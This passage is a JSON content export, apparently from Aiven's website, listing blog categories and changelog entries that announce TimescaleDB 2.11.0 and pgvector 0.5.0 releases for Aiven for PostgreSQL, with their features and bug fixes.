{"_createdAt":"2023-01-10T14:28:28Z","_id":"44deb165-f752-4b24-903a-c488e0b6012c","_rev":"tW7kMBSHIbCIaN9dzX4nBv","_type":"category","_updatedAt":"2023-06-15T08:17:14Z","description":{"_type":"localeText","en":"The Aiven culture. It’s not necessarily what you think. It’s how you think. Dive deeper into our wider world and learn more about it!"},"slug":{"_type":"slug","current":"/blog/category/culture"},"title":{"_type":"localeString","en":"Culture"}} {"_createdAt":"2023-03-21T15:26:21Z","_id":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_rev":"tW7kMBSHIbCIaN9dzX3WGF","_type":"category","_updatedAt":"2023-06-15T08:12:19Z","description":{"_type":"localeText","en":"Meet our clawsome Cast - our Crabs! "},"slug":{"_type":"slug","current":"/blog/category/people"},"title":{"_type":"localeString","en":"People"}} {"_createdAt":"2023-08-08T12:50:21Z","_id":"25b1be80-adf7-4a4b-a97f-f161d43fd66b","_rev":"IoeBYHJJKm09E9ORwou56Z","_type":"category","_updatedAt":"2023-08-08T12:50:21Z","description":{"_type":"localeText","en":"Blogs by Aiven's engineering team about our approach to building products and open source projects"},"slug":{"_type":"slug","current":"/blog/category/engineering"},"title":{"_type":"localeString","en":"Engineering"}} {"_createdAt":"2023-12-14T08:18:43Z","_id":"4b855c21-3b95-4460-928d-6ddccb375b43","_rev":"Do3156plRwIXmiihNuzMvP","_type":"category","_updatedAt":"2023-12-14T10:50:28Z","slug":{"_type":"slug","current":"/blog/category/leader-insight"},"title":{"_type":"localeString","en":"Leader insight"}} {"_createdAt":"2023-12-14T13:21:33Z","_id":"a152ffa7-46aa-4ce7-9cb5-1c270d161c88","_rev":"7oPGYyiRG7hm5kP9hVy85K","_type":"category","_updatedAt":"2023-12-14T13:21:33Z","slug":{"_type":"slug","current":"/blog/category/aiven-live"},"title":{"_type":"localeString","en":"Aiven Live"}} {"_createdAt":"2024-04-11T14:35:13Z","_id":"ae3ed150-fa32-4d01-b160-f127f1ea16cd","_rev":"FKB2VSfLo1od9Oar6KQ3mQ","_type":"category","_updatedAt":"2024-04-11T14:35:13Z","slug":{"_type":"slug","current":"/blog/category/dragonfly"},"title":{"_type":"localeString","en":"Dragonfly"}} {"_createdAt":"2024-04-05T01:18:01Z","_id":"c8ba2bda-6228-45e2-b987-b3fdf836c6c9","_rev":"o6EKmUZPKElQbhROBpVr6s","_type":"category","_updatedAt":"2024-04-05T01:20:12Z","slug":{"_type":"slug","current":"/blog/category/financial-services"},"title":{"_type":"localeString","en":"Financial Services"}} {"_createdAt":"2024-05-24T07:56:57Z","_id":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_rev":"kvD2acrBmFSZeMYobhPnkC","_type":"category","_updatedAt":"2024-05-24T07:56:57Z","slug":{"_type":"slug","current":"/blog/category/ai"},"title":{"_type":"localeString","en":"AI"}} {"_createdAt":"2022-07-04T14:37:43Z","_id":"6FWlUxDXERbtNrYX2asRv6","_rev":"8WeirZ6KB9gJqgJfvicZnx","_type":"category","_updatedAt":"2022-07-04T14:37:43Z","description":{},"slug":{"_type":"slug","current":"/blog/category/customerstory"},"title":{"en":"Customer story"}} {"_createdAt":"2022-09-30T15:49:15Z","_id":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_rev":"8WeirZ6KB9gJqgJfviZhft","_type":"category","_updatedAt":"2022-09-30T15:49:42Z","description":{"_type":"localeText","en":"Aiven's open source tool for Apache Kafka governance"},"slug":{"_type":"slug","current":"/blog/category/klaw"},"title":{"_type":"localeString","en":"Klaw"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"1vrpqSQEi7vREEAlHVVpOG","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/postgresql"},"title":{"en":"PostgreSQL®"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"1wgqjrglPyMfEWcMYN3YcQ","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/flink"},"title":{"en":"Apache Flink®"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"2mBcgNf20QQ0rW0XtSjzVs","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/compliance"},"title":{"en":"Compliance"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"2qto4I26D9dTmL2jF7YDqZ","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/terraform"},"title":{"en":"Terraform"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"3hq53G6n8APkncElOzXCgv","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/integrations"},"title":{"en":"Integrations"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"4Vh5tOitJtIkyMjlv3zldF","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/opensearch"},"title":{"en":"OpenSearch®"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"4hAyABhHhRRrLCRrQAMHR1","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/grafana"},"title":{"en":"Grafana®"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"55hnoBwSNkFBrvJaZvuhgt","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/events"},"title":{"en":"Events"}} {"_createdAt":"2022-11-21T11:33:46Z","_id":"5da1e1bb-fe75-4489-8510-b67f1fdec3c7","_rev":"PJutSls1mvFq6xuKwO2kaH","_type":"category","_updatedAt":"2022-11-21T11:57:25Z","slug":{"_type":"slug","current":"/blog/category/open-source-program-office"},"title":{"_type":"localeString","en":"Open Source Program Office"}} {"_createdAt":"2022-07-04T14:37:43Z","_id":"5kZZK0B9b8ouIUDgjaDOmZ","_rev":"8WeirZ6KB9gJqgJfvicZnx","_type":"category","_updatedAt":"2022-07-04T14:37:43Z","description":{},"slug":{"_type":"slug","current":"/blog/category/sustainability"},"title":{"en":"Sustainability"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"5xudGcikDUGEMuFsHkfr0z","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/data"},"title":{"en":"Data"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"6jjlGcMpx0GJyFCwYDXTGu","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/time-series-databases"},"title":{"en":"Time series databases"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"7a75dJHI5iFb0ksQIdhTn0","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/iot"},"title":{"en":"IoT"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"8R60m8L4BFeRA01yrF7eD","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/open-source"},"title":{"en":"Open source"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"SDuPFTXa2dgBEl8OCxZRn","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/cassandra"},"title":{"en":"Apache Cassandra®"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"TqGvFFLeeAA983N1VLEpK","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/karapace"},"title":{"en":"Karapace"}} {"_createdAt":"2022-09-30T15:52:16Z","_id":"dIABIFlQ2WxdM5KNsxEcc","_rev":"LlMsTfwmVHcho3tE14XQLz","_type":"category","_updatedAt":"2023-06-14T12:19:29Z","description":{"_type":"localeText","en":"Interesting facts about Klaw, Aiven's open source tool, and how it's simplifying Apache Kafka data governance. Stay informed and check out our blog!"},"slug":{"_type":"slug","current":"/blog/category/klaw"},"title":{"en":"Klaw"}} {"_createdAt":"2023-06-14T10:15:06Z","_id":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_rev":"AHEWd1wDMi9t7fkj2dB18J","_type":"category","_updatedAt":"2024-01-13T19:36:27Z","description":{"_type":"localeText","en":"Take a peek under our shell and learn more about our sideways thinking Cast as we explore life at Aiven. Your source for all things culture, people, and tech!\n"},"slug":{"_type":"slug","current":"/blog/category/life-at-aiven"},"title":{"_type":"localeString","en":"Life at Aiven"}} {"_createdAt":"2024-08-14T07:12:57Z","_id":"f80824ef-ed32-4267-af89-23f63b62902d","_rev":"s0dP0dEg2u16GKIcfjiMvR","_type":"category","_updatedAt":"2024-08-14T07:13:29Z","slug":{"_type":"slug","current":"/blog/category/retail"},"title":{"_type":"localeString","en":"Retail"}} {"_createdAt":"2023-06-12T07:44:44Z","_id":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_rev":"OSa4Of7leLeKOMRytNW108","_type":"category","_updatedAt":"2023-06-12T07:44:54Z","description":{"_type":"localeText","en":"Posts about Aiven's Cluster Startup Program, which provides startups with credits to use Aiven database and streaming services to develop their products."},"slug":{"_type":"slug","current":"/blog/category/cluster-startup-program"},"title":{"_type":"localeString","en":"Cluster Startup Program"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"oYj5ZpGrJSISGkb52BoVg","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/m3"},"title":{"en":"M3"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"xf14JBMwWMJO4oL9NS3c9","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/tutorials"},"title":{"en":"Tutorials"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"3SF1hzDKGSWII7ZpbyTg8M","_rev":"OwnCxUBdPuSTvIe9d5BePI","_type":"category","_updatedAt":"2024-01-13T20:12:13Z","description":{},"slug":{"_type":"slug","current":"/blog/category/redis"},"title":{"_type":"localeString","en":"Redis®"}} {"__i18n_lang":"en","_createdAt":"2023-06-12T09:52:25Z","_id":"a551ed3c-3b74-427f-aa73-2ccc858b044d","_rev":"dsxJlHxlnt5nZt5n2AankX","_type":"changelog","_updatedAt":"2023-06-12T09:52:25Z","changeType":"improved","description":[{"_key":"0e4941e8ee77","_type":"block","children":[{"_key":"322b107527cd0","_type":"span","marks":[],"text":"TimescaleDB extension version 2.11.0 is now available for Aiven for PostgreSQL. It contains new features and various bug fixes on top of release 2.10.3."}],"markDefs":[],"style":"normal"},{"_key":"8afbae0e4f88","_type":"block","children":[{"_key":"0871a4b806df0","_type":"span","marks":["strong"],"text":"Key features"}],"markDefs":[],"style":"normal"},{"_key":"3102a4e244d0","_type":"block","children":[{"_key":"d427a30b6c770","_type":"span","marks":[],"text":"Support for DML operations on compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"02ba0501fcc0","_type":"block","children":[{"_key":"4f3ee981d3c30","_type":"span","marks":["code"],"text":"UPDATE/DELETE"},{"_key":"c2eeeb426a26","_type":"span","marks":[],"text":" support"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"391b62eb363f","_type":"block","children":[{"_key":"d0ed47b40f4d0","_type":"span","marks":[],"text":"Support for unique constraints on compressed chunks"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5d204e7dbb74","_type":"block","children":[{"_key":"56216a82ead50","_type":"span","marks":[],"text":"Support for "},{"_key":"56216a82ead51","_type":"span","marks":["code"],"text":"ON CONFLICT DO UPDATE"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8c142deeb42e","_type":"block","children":[{"_key":"cd141426645a0","_type":"span","marks":[],"text":"Support for "},{"_key":"cd141426645a1","_type":"span","marks":["code"],"text":"ON CONFLICT DO NOTHING"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aa07bf393533","_type":"block","children":[{"_key":"94ea18c42e480","_type":"span","marks":[],"text":"Join support for hierarchical Continuous Aggregates"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"de0dbeef7217","_type":"block","children":[{"_key":"5c856e63b9450","_type":"span","marks":["strong"],"text":"All features"}],"markDefs":[],"style":"normal"},{"_key":"cf46fd17eaac","_type":"block","children":[{"_key":"3ded3aec72170","_type":"span","marks":["5e1e3dbd3e77"],"text":"Allow pushdown of reference table joins"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5e1e3dbd3e77","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5212"}],"style":"normal"},{"_key":"8f6b412d5d66","_type":"block","children":[{"_key":"1fce7a969f070","_type":"span","marks":["b6e3b502cf68"],"text":"Improve Realtime Continuous Aggregate performance"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b6e3b502cf68","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5221"}],"style":"normal"},{"_key":"c45ce39b6d86","_type":"block","children":[{"_key":"1737b8c06adf0","_type":"span","marks":["e92cb756a8c0"],"text":"Improve unique constraint support on compressed hypertables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e92cb756a8c0","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5252"}],"style":"normal"},{"_key":"8a508e2913a7","_type":"block","children":[{"_key":"d6f1b851a9720","_type":"span","marks":["a61a2e5f6961"],"text":"Support UPDATE/DELETE on compressed hypertables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a61a2e5f6961","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5339"}],"style":"normal"},{"_key":"6b8fa25270fc","_type":"block","children":[{"_key":"b7bb4ebfc05b0","_type":"span","marks":["571223649f0f"],"text":"Enable JOINS for Hierarchical Continuous Aggregates"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"571223649f0f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5344"}],"style":"normal"},{"_key":"0665739d6d68","_type":"block","children":[{"_key":"ee789421ed340","_type":"span","marks":["fcf4855ca269"],"text":"Add parallel support for partialize_agg()"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fcf4855ca269","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5361"}],"style":"normal"},{"_key":"338274d3d2ac","_type":"block","children":[{"_key":"97561e652fad0","_type":"span","marks":["0dac5f5275af"],"text":"Refactor and optimize distributed COPY"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0dac5f5275af","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5417"}],"style":"normal"},{"_key":"dc41acd23bc3","_type":"block","children":[{"_key":"b2f2d9a696590","_type":"span","marks":["c0e7a439053b"],"text":"Add support for ON CONFLICT DO UPDATE for compressed hypertables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c0e7a439053b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5454"}],"style":"normal"},{"_key":"148726ee37b6","_type":"block","children":[{"_key":"012925a5f9f70","_type":"span","marks":["0e60dc899538"],"text":"Skip Ordered Append when only 1 child node is present"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0e60dc899538","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5547"}],"style":"normal"},{"_key":"dec651b7d5ec","_type":"block","children":[{"_key":"ddd32d74dfbb0","_type":"span","marks":["1e4f80077e24"],"text":"Propagate vacuum/analyze to compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1e4f80077e24","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5510"}],"style":"normal"},{"_key":"4e8cde689ffb","_type":"block","children":[{"_key":"c2ff0b25da870","_type":"span","marks":["8532c7525fea"],"text":"Reduce decompression during constraint checking"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8532c7525fea","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5584"}],"style":"normal"},{"_key":"0bd0e7ca198f","_type":"block","children":[{"_key":"c7288895c7be0","_type":"span","marks":["bdd4941090cd"],"text":"Optimize compressed chunk resorting"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bdd4941090cd","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5530"}],"style":"normal"},{"_key":"5a8ca7113dee","_type":"block","children":[{"_key":"b0752bbf42320","_type":"span","marks":["715f8236b346"],"text":"Support sending telemetry event reports"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"715f8236b346","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5639"}],"style":"normal"},{"_key":"ee6c4f8634f8","_type":"block","children":[{"_key":"279ff7f95560","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"5c81eef4e02c","_type":"block","children":[{"_key":"776ee92283e50","_type":"span","marks":["8eddc9d4b9f1"],"text":"Fix SEGMENTBY columns predicates to be pushed down"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8eddc9d4b9f1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5396"}],"style":"normal"},{"_key":"5c01dd3847b5","_type":"block","children":[{"_key":"1e0a2672f6f00","_type":"span","marks":["66b5e5bb90b6"],"text":"Handle user-defined FDW options properly"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"66b5e5bb90b6","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5427"}],"style":"normal"},{"_key":"fac72e2a00d8","_type":"block","children":[{"_key":"a4e8e788fdf10","_type":"span","marks":["e1352d319d2b"],"text":"Decompression may have lost DEFAULT values"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e1352d319d2b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5442"}],"style":"normal"},{"_key":"2a8fc01b0105","_type":"block","children":[{"_key":"18b5108d24780","_type":"span","marks":["13c2da80a21b"],"text":"Fix issue creating dimensional constraints"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"13c2da80a21b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5459"}],"style":"normal"},{"_key":"a68572ba4994","_type":"block","children":[{"_key":"942f8435a5e00","_type":"span","marks":["1276117f8e2a"],"text":"Improve interpolate error message on datatype mismatch"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1276117f8e2a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5570"}],"style":"normal"},{"_key":"df6f0124e829","_type":"block","children":[{"_key":"e790c006e5cd0","_type":"span","marks":["ae4e1f6067b5"],"text":"Fix unique constraint on compressed tables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ae4e1f6067b5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5573"}],"style":"normal"},{"_key":"ea4e09fcd7ef","_type":"block","children":[{"_key":"a7c9bec1e5ac0","_type":"span","marks":["51220ae6c5ce"],"text":"Add permission checks to run_job()"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"51220ae6c5ce","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5615"}],"style":"normal"},{"_key":"14dbd66f0a23","_type":"block","children":[{"_key":"7a0b1b61241b0","_type":"span","marks":["e4514d4f10c9"],"text":"Enable run_job() for telemetry job"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e4514d4f10c9","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5614"}],"style":"normal"},{"_key":"e8071629f8a0","_type":"block","children":[{"_key":"f035ac144b770","_type":"span","marks":["9c6fb20f1625"],"text":"Fix on-insert decompression after schema changes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9c6fb20f1625","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5578"}],"style":"normal"},{"_key":"560f51063444","_type":"block","children":[{"_key":"1f7650bca9a30","_type":"span","marks":["82d33b45d9db"],"text":"Quote username identifier appropriately"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"82d33b45d9db","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5613"}],"style":"normal"},{"_key":"029fcc57c06e","_type":"block","children":[{"_key":"24cafd87593e0","_type":"span","marks":["6abff9e7a8d7"],"text":"Fix tablespace for compressed hypertable and corresponding toast"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6abff9e7a8d7","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5525"}],"style":"normal"},{"_key":"b8128d3d1500","_type":"block","children":[{"_key":"e7c58710ea7d0","_type":"span","marks":["45e3f073c2af"],"text":"Fix ALTER TABLE SET with normal tables"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"45e3f073c2af","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5642"}],"style":"normal"},{"_key":"8865d5804fbc","_type":"block","children":[{"_key":"0afdadadc3c50","_type":"span","marks":["91be16db622a"],"text":"Reduce memory usage for distributed analyze"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"91be16db622a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5666"}],"style":"normal"},{"_key":"87bac29352b5","_type":"block","children":[{"_key":"8f5ca67451a00","_type":"span","marks":["b12a92a5fd7f"],"text":"Fix subtransaction resource owner"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b12a92a5fd7f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5668"}],"style":"normal"},{"_key":"762815656e42","_type":"block","children":[{"_key":"663d0e56f6270","_type":"span","marks":["8ff0349eb25a"],"text":"Fix DISTINCT query with JOIN on multiple segmentby columns"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8ff0349eb25a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5680"}],"style":"normal"}],"publishedAt":"2023-06-12T09:44:00.000Z","tags":[{"_key":"202f3cb39c87","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.11.0 for Aiven for PostgreSQL released"} {"__i18n_lang":"en","_createdAt":"2023-08-30T10:50:19Z","_id":"1eb3b39e-340d-4552-830f-43784f808c62","_rev":"61hKAW7KknaTboWXTHizUT","_type":"changelog","_updatedAt":"2023-09-01T09:18:25Z","changeType":"improved","description":[{"_key":"a2a1e7d58bd0","_type":"block","children":[{"_key":"5d126f5dd3090","_type":"span","marks":[],"text":"pgvector version 0.5.0 is now available for Aiven for PostgreSQL®.\nIt introduces new features and bug fixes on top of release 0.4.2."}],"markDefs":[],"style":"normal"},{"_key":"17bbde2de994","_type":"block","children":[{"_key":"5ffd5adae0ac0","_type":"span","marks":["strong"],"text":"Key features"}],"markDefs":[],"style":"normal"},{"_key":"cd01b5c855ea","_type":"block","children":[{"_key":"54639b273ad80","_type":"span","marks":[],"text":"New"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a75897eb7ff3","_type":"block","children":[{"_key":"a6a7a566a9b20","_type":"span","marks":[],"text":"HNSW index type"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e48b600b92ae","_type":"block","children":[{"_key":"92e20298b0140","_type":"span","marks":[],"text":"Support for parallel index builds for IVFFlat"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"22b93011d33b","_type":"block","children":[{"_key":"9049a73ed1010","_type":"span","marks":["code"],"text":"l1_distance"},{"_key":"19e0e3816678","_type":"span","marks":[],"text":" function"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd7144872ac5","_type":"block","children":[{"_key":"24db3302185a0","_type":"span","marks":[],"text":"Element-wise multiplication for vectors"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"32b76d8ab5ae","_type":"block","children":[{"_key":"bc73a22d3dfa0","_type":"span","marks":["code"],"text":"sum"},{"_key":"f90d92fbff2c","_type":"span","marks":[],"text":" aggregate"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a4a5ef82ae9e","_type":"block","children":[{"_key":"0f839857d0d60","_type":"span","marks":[],"text":"Improved"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0164481af1c6","_type":"block","children":[{"_key":"f59f19425ab60","_type":"span","marks":[],"text":"Performance of distance functions"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"266613361aff","_type":"block","children":[{"_key":"bc1f1744499b0","_type":"span","marks":[],"text":"Error message for malformed vector literal"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"56b7cbd385dd","_type":"block","children":[{"_key":"1a6478149a3d0","_type":"span","marks":[],"text":"Cost estimation"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be8f4583fdbc","_type":"block","children":[{"_key":"c93f2808e6720","_type":"span","marks":[],"text":"Support for spaces with text input"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"947adaeca4d9","_type":"block","children":[{"_key":"7f5c57ea08ca0","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"40b1a2e714f9","_type":"block","children":[{"_key":"872f71b7caac0","_type":"span","marks":[],"text":"Fixed out of range results for cosine distance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e5bfdd8738f1","_type":"block","children":[{"_key":"a760781e66c70","_type":"span","marks":[],"text":"Fixed results for NULL and NaN distances for IVFFlat"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2cb920b68ba7","_type":"block","children":[{"_key":"01318dd1a9e00","_type":"span","marks":[],"text":"Fixed segmentation fault with index creation on i386"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1f07c4cad9ef","_type":"block","children":[{"_key":"6066bcdc3a590","_type":"span","marks":[],"text":"Fixed segmentation fault with text input"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4e6f11b8f205","_type":"block","children":[{"_key":"c1dbd2ff80d80","_type":"span","marks":[],"text":"Fixed consecutive delimiters with text input"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d7ab3a8b44fe","_type":"block","children":[{"_key":"85edcbb506f10","_type":"span","marks":[],"text":"Fixed infinite and NaN values with binary input"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9e4fae593b5e","_type":"block","children":[{"_key":"508b7cc2ee630","_type":"span","marks":[],"text":"Fixed infinite values with vector addition and subtraction"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e1aeca2a4c3d","_type":"block","children":[{"_key":"9cc37065527d0","_type":"span","marks":[],"text":"Fixed infinite values with list centers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c5b979973bab","_type":"block","children":[{"_key":"10f7599d4a7a0","_type":"span","marks":[],"text":"Fixed compilation error when "},{"_key":"ad4545ddecf0","_type":"span","marks":["code"],"text":"float8"},{"_key":"6a3cd6c37516","_type":"span","marks":[],"text":" is pass by reference"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"58fd43867acd","_type":"block","children":[{"_key":"5534fcbaca090","_type":"span","marks":[],"text":"Fixed compilation error on PowerPC"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"publishedAt":"2023-08-31T09:18:00.000Z","tags":[{"_key":"0a6e5f9ad028","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"pgvector extension 0.5.0 for Aiven for PostgreSQL® released"} {"_createdAt":"2022-10-27T09:02:19Z","_i18n_lang":"en","_id":"451e79aa-784e-43fc-860a-618d7e8587d1","_rev":"zF7BMhNhvYpWtPMfHNMVTi","_type":"changelog","_updatedAt":"2022-10-27T09:02:19Z","changeType":"","publishedAt":"2022-07-12T00:00:00.000Z","tags":[{"_key":"17fa462d-4af0-463e-9954-9b15fcec57b4","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL TimescaleDB version 2.7.1 is available."} {"_createdAt":"2022-10-27T09:02:28Z","_i18n_lang":"en","_id":"f7e4a33c-6c51-4d4d-ba4f-437eea65c5ba","_rev":"zF7BMhNhvYpWtPMfHNMVrK","_type":"changelog","_updatedAt":"2022-10-27T09:02:28Z","changeType":"","publishedAt":"2022-06-07T00:00:00.000Z","tags":[{"_key":"29938704-4eb3-4495-9909-afde1e2436ca","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"The Github Datasource plugin for Grafana is now available."} {"_createdAt":"2022-10-27T09:02:10Z","_i18n_lang":"en","_id":"ca8a1aa0-a71b-4c02-aa77-efc160a2983f","_rev":"z7EiK8inwybcbhSAyAJSJ4","_type":"changelog","_updatedAt":"2022-11-23T16:23:52Z","changeType":"improved","description":[{"_key":"36e9711f-a9a2-48bc-aa4b-00e3325ae1e0","_type":"block","children":[{"_key":"583d2836-a914-458e-8e89-3e3e10b20b80","_type":"span","marks":[],"text":"This value is not 